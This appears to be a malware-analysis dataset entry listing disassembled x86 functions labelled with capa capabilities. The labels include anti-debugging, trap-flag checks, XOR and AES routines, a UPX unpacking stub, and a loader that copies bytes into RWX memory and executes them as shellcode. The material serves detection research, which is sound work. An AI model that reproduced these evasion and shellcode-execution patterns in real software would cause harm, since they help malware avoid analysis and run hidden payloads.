joyce8/EMBER2024-capa huggingface dataset:
Function at 0x66a5ca
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc eax
mov dx, 0xfe8f
lea eax, [ecx*4]
inc dh
mov eax, edx
jmp 0x66a632
xchg dword [esp], ebx
sub esp, 2
lea eax, [esi*4]
call fcn.0066a61b

Function at 0x674fd8
Capabilities:
Encode data using xor

Disassembly:
push edx
pop dword [esp + 0x18]
lea esp, [esp + 1]
mov dword [esp + 0x11], ebx
push esp
mov bx, 0xe4d1
jmp 0x67512e
lea esp, [esp + 3]
lea esp, [esp + 2]
pushal
pop word [esp + 7]
mov byte [esp + 0x11], dh
pop dword [esp + 9]
jmp 0x674f93
lea esp, [esp + 4]
push edx
mov byte [esp + 2], dh
mov word [esp], dx
push dword [esp + 2]
jmp 0x674fb3
mov bx, ax
mov dx, bp
setg dh
mov dx, sp
mov edx, dword [esp + 8]
lea ebx, [edx + edx]
jmp 0x675093
mov ebx, edi
xchg edx, esi
mov esi, ebp
mov esi, dword [esp + 2]
mov ebx, ecx
mov dl, dh
jmp 0x674feb
mov dword [esp + 2], esi
mov dl, dh
not edx
lea ebx, [esi - 0xbd]
mov esi, dword [esp]
mov ebx, ebp
jmp 0x675009
mov dx, 0x715b
push esp
mov dh, byte [esp + 3]
mov dword [esp], eax
mov dh, 0xd2
lea ebx, reloc.MFC42.DLL_CDC::SetAttribDC
jmp 0x675025
xchg bl, bh
lea ebx, [ecx + ebx]
mov bx, word [esp]
mov ebx, dword [esp]
mov ebx, dword [esp + 0x15]
lea esp, [esp + 0x20]
jmp 0x65ec65
mov bl, 0x7c
mov bx, word [esp]
setne bl
bswap ebx
mov dword [esp + 4], edx
mov dl, dh
jmp 0x67504e
mov dword [esp], esi
not bh
mov byte [esp + 2], bh
pop ebx
setg bl
xchg bl, bh
jmp 0x6750b2

Function at 0x675159
Capabilities:
Check for trap flag exception

Disassembly:
push ebx
jmp 0x65f539
pushfd
or dword [esp], reloc.MFC42.DLL_CDC::SetAttribDC
popfd
cpuid
nop
jmp 0x65f550
pop ebx
ret
call fcn.00674fd8
push esp
lea esp, [esp + 8]
pushal
push dword [esp + 0x10]
lea esp, [esp + 0x24]
jmp 0x65f52d

Function at 0x689f05
Capabilities:
Encrypt data using aes

Disassembly:
add ecx, 0x10
clc
sub edx, 0x10
pushal
mov word [esp + 0x14], sp
jmp 0x689ef4
lea esp, [esp + 4]
jmp 0x689ed0
push dword [esp + 2]
lea esp, [esp + 0x24]
cmp dword [ebp - 4], ebx
call 0x689f05
cmp byte [ebp - 0x16fbdb9c], cl
iretd

Function at 0x68a13b
Capabilities:
Encrypt data using aes

Disassembly:
movzx ebx, byte [esi + 5]
pushal
sub esp, 0x12
add esp, 0x17
sub esp, 0x1a
jmp 0x68a193
mov ebx, 0x5d278da8
neg bl
jmp 0x68a0ef
and ebx, ecx
stc
lea esp, [esp + 4]
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
jmp 0x68a108
add esp, 3
lea esp, [esp + 1]
jmp 0x68a120
lea esp, [esp + 1]
and edx, ecx
call fcn.0068a17c
Function at 0x68a311
Capabilities:
Encrypt data using aes

Disassembly:
mov word [esp], sp
pop word [esp]
lea esp, [esp + 2]
jmp 0x68a3ba
lea esp, [esp + 0xc]
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
lea edx, reloc.MFC42.DLL_CDC::SetAttribDC
call fcn.0068a375
push esi
mov esi, edi
jmp 0x68a62c
rcl bx, cl
movzx ebx, byte [esi + 0xa]
call 0x68a416
and al, 0xad
cmp eax, 0x3606b744
mov esi, 0x5c64b2c
setbe byte [ecx]
rol byte [ebx + 0x4024648d], 0x33
cmp al, 0x9d
lodsb al, byte [esi]
jp 0x68a4b9
lea esp, [esp + 0x40]
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
lea ebx, [esi*4]
add byte [ebp + 0xb51c], cl
add byte [eax], al
jmp 0x68a42c
and edi, ecx
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and ebx, ecx
jmp 0x68a449
mov edx, dword [esi + 0xc]
clc
pushal
cmc
add esp, 0xf
jmp 0x68a4f2
por mm6, qword [esi]
mov dword [ebx], ecx
wait
dec byte [0x22ac21b9]
inc ebp
mov ah, 3
cmp dword [eax], ebx
jnp 0x68a459
and al, 0xc
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
bts edx, edx
bswap edx
mov dx, 0xf437
jmp 0x68a4b1
lea esp, [esp + 1]
mov dword [esi + 8], edi
sub esp, 0xc
jmp 0x68a521
push ebp
jmp 0x68a56c
pop ebp
mov edi, dword [esp]
mov edi, edx
push edx
call 0x68a550
test al, 0x66
mov dword [esp + 2], ebx
jmp 0x68a5bd
mov ebp, ebx
lea ebp, [ebp*4]
lea ebp, reloc.MFC42.DLL_CDC::SetAttribDC
mov ebx, dword [ebp]
jmp 0x68a543
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
sub esp, 0xe
lea esp, [esp + 7]
jmp 0x68a5d0
push esp
mov word [esp], bx
lea esp, [esp + 2]
jmp 0x68a58f
lea esp, [esp + 7]
lea esp, [esp + 1]
shr edi, 0x18
push esp
push word [esp + 3]
jmp 0x68a5a5
mov dword [esp], esi
lea esp, [esp + 3]
and edi, ecx
sub esp, 0x18
push dword [esp + 0x10]
jmp 0x68a604
sub esp, 0x1a
lea esp, [esp + 2]
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and ebx, ecx
jmp 0x68a685
bsf bx, si
mov bl, byte [esp]
jmp 0x68a66d
lea esi, [esi*4]
lea esi, reloc.MFC42.DLL_CDC::SetAttribDC
mov edi, dword [esi]
pop esi
jmp 0x68a462
push ecx
mov ecx, ebx
lea ecx, [ecx*4]
jmp 0x68a651
lea ecx, reloc.MFC42.DLL_CDC::SetAttribDC
mov ebx, dword [ecx]
pop ecx
jmp 0x68a6cf
movzx ebx, byte [esi + 0xe]
jmp 0x68a641
lea esp, [esp + 0x5c]
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
neg ebx
neg bx
jmp 0x68a616
mov edx, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
clc
and ebx, ecx
lea esp, [esp + 8]
jmp 0x68a735
and edx, ecx
push esp
mov word [esp], dx
push esp
jmp 0x68a6ae
lea esp, [esp + 0x1c]
dec dword [ebp - 4]
call fcn.0068a71e
daa
mov byte [0x64a25730], al
imul esp, edi, 0x77
adc ah, cl
pop esp
lcall 0x3301, 0x24648df8
cmp al, 0x95
lodsb al, byte [esi]
jle 0x68a763
clc
lea esp, [esp + 1]
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
pushal
pop dword [esp + 0xc]
add byte [eax - 0x71], ah
inc esp
and al, 0xc
jmp 0x68a6d9
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and edx, ecx
sub esp, 6
mov byte [esp], ah
lea esp, [esp + 5]
jmp 0x68a6f2
aad 0xbc
dec edi
push dword [edi - 0x77]
cmp dword [ecx + 0x52], ebx
push word [esp + 1]
mov byte [esp + 3], ah
call fcn.0068a74a
Function at 0x68a492
Capabilities:
Encrypt data using aes

Disassembly:
and edx, ecx
clc
jmp 0x68a4cb
lea esp, [esp + 0xc]

Function at 0x68a537
Capabilities:
Encrypt data using aes

Disassembly:
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
mov bl, bh
neg bl
movzx ebx, byte [esi + 0xd]
call fcn.0068a4f0
push esp
mov word [esp + 4], bx
lea esp, [esp + 0xc]
jmp 0x68a50d
Function at 0x68a550
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov word [esp], sp
pop word [esp]
lea esp, [esp + 2]
jmp 0x68a3ba
lea esp, [esp + 0xc]
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
lea edx, reloc.MFC42.DLL_CDC::SetAttribDC
call fcn.0068a375
push esi
mov esi, edi
jmp 0x68a62c
rcl bx, cl
movzx ebx, byte [esi + 0xa]
call 0x68a416
and al, 0xad
cmp eax, 0x3606b744
mov esi, 0x5c64b2c
setbe byte [ecx]
rol byte [ebx + 0x4024648d], 0x33
cmp al, 0x9d
lodsb al, byte [esi]
jp 0x68a4b9
lea esp, [esp + 0x40]
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
lea ebx, [esi*4]
add byte [ebp + 0xb51c], cl
add byte [eax], al
jmp 0x68a42c
and edi, ecx
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and ebx, ecx
jmp 0x68a449
mov edx, dword [esi + 0xc]
clc
pushal
cmc
add esp, 0xf
jmp 0x68a4f2
por mm6, qword [esi]
mov dword [ebx], ecx
wait
dec byte [0x22ac21b9]
inc ebp
mov ah, 3
cmp dword [eax], ebx
jnp 0x68a459
and al, 0xc
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
bts edx, edx
bswap edx
mov dx, 0xf437
jmp 0x68a4b1
lea esp, [esp + 1]
mov dword [esi + 8], edi
sub esp, 0xc
jmp 0x68a521
push ebp
jmp 0x68a56c
pop ebp
mov edi, dword [esp]
mov edi, edx
push edx
call 0x68a550
test al, 0x66
mov dword [esp + 2], ebx
jmp 0x68a5bd
mov ebp, ebx
lea ebp, [ebp*4]
lea ebp, reloc.MFC42.DLL_CDC::SetAttribDC
mov ebx, dword [ebp]
jmp 0x68a543
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
sub esp, 0xe
lea esp, [esp + 7]
jmp 0x68a5d0
push esp
mov word [esp], bx
lea esp, [esp + 2]
jmp 0x68a58f
lea esp, [esp + 7]
lea esp, [esp + 1]
shr edi, 0x18
push esp
push word [esp + 3]
jmp 0x68a5a5
mov dword [esp], esi
lea esp, [esp + 3]
and edi, ecx
sub esp, 0x18
push dword [esp + 0x10]
jmp 0x68a604
sub esp, 0x1a
lea esp, [esp + 2]
mov edi, dword [edi*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and ebx, ecx
jmp 0x68a685
bsf bx, si
mov bl, byte [esp]
jmp 0x68a66d
lea esi, [esi*4]
lea esi, reloc.MFC42.DLL_CDC::SetAttribDC
mov edi, dword [esi]
pop esi
jmp 0x68a462
push ecx
mov ecx, ebx
lea ecx, [ecx*4]
jmp 0x68a651
lea ecx, reloc.MFC42.DLL_CDC::SetAttribDC
mov ebx, dword [ecx]
pop ecx
jmp 0x68a6cf
movzx ebx, byte [esi + 0xe]
jmp 0x68a641
lea esp, [esp + 0x5c]
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
neg ebx
neg bx
jmp 0x68a616
mov edx, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
clc
and ebx, ecx
lea esp, [esp + 8]
jmp 0x68a735
and edx, ecx
push esp
mov word [esp], dx
push esp
jmp 0x68a6ae
lea esp, [esp + 0x1c]
dec dword [ebp - 4]
call fcn.0068a71e
daa
mov byte [0x64a25730], al
imul esp, edi, 0x77
adc ah, cl
pop esp
lcall 0x3301, 0x24648df8
cmp al, 0x95
lodsb al, byte [esi]
jle 0x68a763
clc
lea esp, [esp + 1]
xor edi, dword [edx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
pushal
pop dword [esp + 0xc]
add byte [eax - 0x71], ah
inc esp
and al, 0xc
jmp 0x68a6d9
xor edi, dword [ebx*4 + reloc.MFC42.DLL_CDC::SetAttribDC]
and edx, ecx
sub esp, 6
mov byte [esp], ah
lea esp, [esp + 5]
jmp 0x68a6f2
aad 0xbc
dec edi
push dword [edi - 0x77]
cmp dword [ecx + 0x52], ebx
push word [esp + 1]
mov byte [esp + 3], ah
call fcn.0068a74a
Function at 0x68a74a
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 2]
jmp 0x68a79b
lea esp, [esp + 0xc]
jne 0x689be3
je 0x689b91
mov al, byte [0x30c1a630]
mov esi, 0x37c4bd2d
cmp byte [ebx + ecx*4 - 0x2217fbaa], 0xfe
invalid

Function at 0x85cb67
Capabilities:
Parse pe header

Disassembly:
mov word [esp + 4], di
call fcn.0085cb36
call fcn.0085cb87
popfd
or eax, 0xf717e49d
or eax, 0xa66b0c9e
dec edi
jge 0x85cb6d
arpl word [esi], ax
cmc
push esp
jbe 0x85cbe1
mov al, byte [0xffe0e854]
invalid
lea esp, [esp + 2]
mov dword [esp], ebx
push esp
push word [esp + 3]
push edx
mov word [esp], bx
jmp 0x85cb5d
pop dword [esp]
mov dword [esp], eax
jmp 0x85cbc9

Function at 0x85cb87
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
call fcn.0085c040
push dword [esp + 0xa]
pop dword [esp]
pop dword [esp]
push word [esp + 7]
lea esp, [esp + 2]
jmp 0x85cc59
mov eax, dword [eax + 8]
push eax
jmp 0x85c03b
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
jmp 0x85cbdd
mov dword [esp + 0xc], edi
lea esp, [esp + 0xc]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x85cc01
mov dword [esp + 8], esi
push esp
push dword [esp + 2]
mov word [esp + 4], bx
push edx
pop dword [esp]
jmp 0x85cc1a

Function at 0x85ccf4
Capabilities:
Parse pe header

Disassembly:
mov word [esp + 4], di
call fcn.0085cb36
call fcn.0085cb87
popfd
or eax, 0xf717e49d
or eax, 0xa66b0c9e
dec edi
jge 0x85cb6d
arpl word [esi], ax
cmc
push esp
jbe 0x85cbe1
mov al, byte [0xffe0e854]
invalid
lea esp, [esp + 2]
mov dword [esp], ebx
push esp
push word [esp + 3]
push edx
mov word [esp], bx
jmp 0x85cb5d
pop dword [esp]
mov dword [esp], eax
jmp 0x85cbc9
Function at 0x402390
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
ror esi, 0xc4
or edx, 0x68
neg esi
dec edx
rol edi, 0x9f
neg edx
bswap edi
inc ebx
neg edi
rcl eax, 0x56
neg edi
not esi
rcl esi, 0x9b
rcl edi, 0xab
imul ebx
rol edi, 0x41
neg ebx
neg edi
imul eax
add esi, 0x53
ror ebx, 0xf4
neg edx
not ebx
rcr eax, 0xbb
neg ebx
mov esi, 9
neg ebx
ror eax, 0xaa
sbb eax, 0xf1
neg eax
dec edx
mov edx, 0xb9
neg esi
dec ebx
and ebx, 0xe2
dec edx
rcr eax, 0x87
mov ebx, 7
mov edx, 2
inc esi
inc esi
inc edi
rol esi, 0x6c
rol edx, 0xa5
dec edi
not eax
rcr edi, 0x44
not edx
neg esi
and eax, 0x34
xor ecx, ecx
xor edi, edi
mov edx, 0xd5
add edx, 0x74
inc edi
inc edx
imul esi
ror esi, 8
ror edx, 0x2e
sub edx, 0x12
dec esi
inc esi
sub ebx, 0xea
dec ebx
add esi, 0xbc
not edi
inc esi
rcr esi, 0x52
inc ebx
inc ebx
rcl eax, 0xef
dec edi
mov esi, 0xb1
rcr eax, 0x14
rol ebx, 0x3f
sub eax, 0xf9
neg edi
rcl edx, 0x33
not edi
rcl edi, 0x3c
or edx, 7
rol edx, 0x8b
or edi, 0xc5
and eax, 0x7a
imul ebx
rcl eax, 0xbd
bswap edx
ror esi, 9
imul edi
rcr ebx, 0x6f
dec esi
and eax, 0x25
rcl esi, 0xa5
inc edx
mov ebx, 0xfd
sub edi, 0xa2
rcr edi, 0x2a
bswap ebx
dec esi
not esi
bswap esi
mov esi, 0x2e
mov ecx, dword [ebp + 0xc]
neg eax
imul eax
bswap edx
add esi, 0x66
inc edi
dec edx
imul ebx
inc eax
bswap esi
dec edi
rcr edi, 0xf0
dec edi
rol ebx, 0x74
inc eax
ror ebx, 0x90
sbb esi, 0x82
dec eax
imul esi
or edi, 0x94
dec edx
imul ebx
mov edx, 0xea
rol edi, 0x7d
ror ebx, 0x52
inc ebx
dec edx
ror ebx, 0x32
not esi
not esi
dec eax
and ebx, 0xb
mov edi, 0x38
inc esi
bswap ebx
rcl ebx, 0x84
imul eax
inc ebx
not edx
imul ebx
rol edi, 0x4c
imul esi
sbb ebx, 0x78
add edx, 0xca
neg edi
dec edi
inc edi
bswap ebx
not eax
rol edi, 0xaa
neg eax
mov edi, dword [ebp + 8]
xor ebx, ebx
xor esi, eax
mov eax, esi
not byte [edi]
mov eax, esi
xor esi, eax
mov esi, esi
mov ebx, eax
xor ebx, esi
mov esi, ebx
xor eax, eax
xor esi, ebx
xor ebx, esi
add byte [edi], 0x36
xor esi, esi
mov esi, ebx
mov eax, ebx
mov ebx, ebx
mov eax, ebx
xor esi, ebx
mov esi, ebx
xor ebx, esi
xor esi, ebx
sub byte [edi], 0x75
mov esi, eax
mov eax, ebx
xor ebx, eax
mov ebx, eax
mov esi, eax
mov eax, esi
xor esi, esi
xor eax, eax
xor eax, esi
imul byte [edi]
inc edi
loop 0x402521
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40a81a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x447a90]
jne 0x40a824
repz ret
jmp fcn.00411dad
Function at 0x41672c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004106b6
and dword [ebp - 4], 0
cmp dword [0x4495d0], 0
mov ebx, eax
jne 0x4167dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41688e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41688e
push eax
call fcn.00410644
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4495d0], eax
call esi
push eax
call fcn.00410644
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4495d4], eax
call esi
push eax
call fcn.00410644
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4495d8], eax
call esi
push eax
call fcn.00410644
pop ecx
mov dword [0x4495e0], eax
test eax, eax
je 0x4167dd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410644
pop ecx
mov dword [0x4495dc], eax
mov eax, dword [0x4495dc]
cmp eax, ebx
je 0x416835
cmp dword [0x4495e0], ebx
je 0x416835
push eax
call fcn.004106bf
push dword [0x4495e0]
mov esi, eax
call fcn.004106bf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x416835
test edi, edi
je 0x416835
call esi
test eax, eax
je 0x41682c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41682c
test byte [ebp - 0xc], 1
jne 0x416835
or dword [ebp + 0x10], 0x200000
jmp 0x41686e
mov eax, dword [0x4495d4]
cmp eax, ebx
je 0x41686e
push eax
call fcn.004106bf
pop ecx
test eax, eax
je 0x41686e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41686e
mov eax, dword [0x4495d8]
cmp eax, ebx
je 0x41686e
push eax
call fcn.004106bf
pop ecx
test eax, eax
je 0x41686e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4495d0]
call fcn.004106bf
pop ecx
test eax, eax
je 0x41688e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x416890
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x620700
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x116000]
push edi
jmp 0x62071a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x620721
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x620710
mov eax, 1
add ebx, ebx
jne 0x620733
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x620744
jne 0x620763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x620763
dec eax
add ebx, ebx
jne 0x620750
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x620728
add ebx, ebx
jne 0x62075f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6207b5
xor ecx, ecx
sub eax, 3
jb 0x62077b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6207ea
sar eax, 1
mov ebp, eax
jmp 0x620786
add ebx, ebx
jne 0x620786
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x620754
inc ecx
add ebx, ebx
jne 0x620794
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x620754
add ebx, ebx
jne 0x6207a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x620796
jne 0x6207b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x620796
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6207d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6207c6
jmp 0x620716
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6207d4
add edi, ecx
jmp 0x620716
pop esi
mov edi, esi
mov ecx, 0x3a69
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6207f2
cmp byte [edi], 0x1e
jne 0x6207f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6207f7
lea edi, [esi + 0x21d000]
mov eax, dword [edi]
or eax, eax
je 0x62086f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x228c88]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x228d8c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x620824
mov ecx, edi
jns 0x620853
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x228d90]
or eax, eax
je 0x620869
mov dword [ebx], eax
add ebx, 4
jmp 0x620841
call dword [esi + 0x228da0]
mov ebp, dword [esi + 0x228d94]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6208a3
sub esp, 0xffffff80
jmp 0x479791
Function at 0x452d63
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x452e35
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x8c5094], 0x319
jne 0x452e1d
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0045238e
add ebx, 8
dec dword [ebp - 0xc]
jne 0x452d81
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x452e41
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push ebx
push esi
push edi
push 0x40144c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40145c
push eax
mov dword [0x85d3f4], eax
call esi
push 0x401468
push dword [0x85d3f4]
mov dword [0x85d3ec], eax
call esi
push dword [0x8c5094]
xor esi, esi
push esi
mov dword [0x85a1cc], eax
call dword [0x85d3ec]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x8c5094]
mov dword [0x85a1e4], eax
push eax
call dword [0x85a1cc]
xor edi, edi
cmp edi, 0x85b4
jge 0x452eb9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x452ede
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x452eab
jg 0x452ede
cmp eax, 0xd69e5f85
jb 0x452eab
mov eax, dword [0x45c724]
mov dword [0x8c5098], eax
xor eax, eax
cmp dword [0x8c5094], esi
jbe 0x452f11
mov ecx, dword [0x8c5098]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x85a1e4]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x8c5094]
jb 0x452ef2
xor edi, edi
mov eax, dword [0x8c5094]
add eax, edi
cmp eax, 0x5e
jne 0x452f4e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
lea eax, [ebp - 0x834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
inc edi
cmp edi, 0xa69b
jl 0x452f13
mov edx, dword [0x8c5094]
mov ecx, dword [0x85a1e4]
push 0x45c008
call fcn.00452d63
xor eax, eax
cmp eax, 0x59d8
jne 0x452f80
mov ecx, 0x85a1e4
call fcn.00452e3a
inc eax
cmp eax, 0x356d83
jl 0x452f6f
push 0x7b
pop ebx
cmp dword [0x8c5094], 0x54d
jne 0x452fc8
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401478
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x452f8b
mov eax, dword [0x85a1e4]
mov dword [0x85d3fc], eax
call eax
pop edi
pop esi
pop ebx
leave
ret